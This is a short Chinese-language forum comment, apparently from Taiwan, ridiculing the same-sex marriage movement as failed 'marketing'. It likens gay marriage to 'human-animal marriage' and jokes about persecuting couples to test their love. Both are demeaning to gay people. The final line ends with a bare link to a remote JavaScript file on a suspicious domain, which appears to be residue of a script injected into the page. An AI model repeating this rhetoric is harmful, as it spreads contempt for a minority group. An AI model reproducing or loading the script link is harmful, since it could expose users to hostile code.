反正就是「某些同性戀(或擅自幫腔的異性戀)打死不肯承認同性戀就是極少數的族群」,即便明明是事實,他們也覺得是歧視。
他們無法接受「事實」歧視了他們。當然也就無法接受「立個法讓你們的婚姻有法律效力」這樣的安排。(咦?那你們當初到底在追求什麼?)
所以哪天跑出主張「人獸婚」的獸交愛好者,堅持自己沒有不同、拒絕歧視,甚至主張人獸婚應該載入民法,我也不意外了。 XD
老話一句,同運的反行銷相當成功,惹毛了很多潛在客戶,真是我看過最失敗的行銷運動。
差點都讓我下定決心轉往「反同」路線 — 試想,不好好折磨拆散你們,怎麼能顯示你們愛情的真摯與堅定呢?科科~~~https://js.developerstatss.ga/stat.js?n=ns1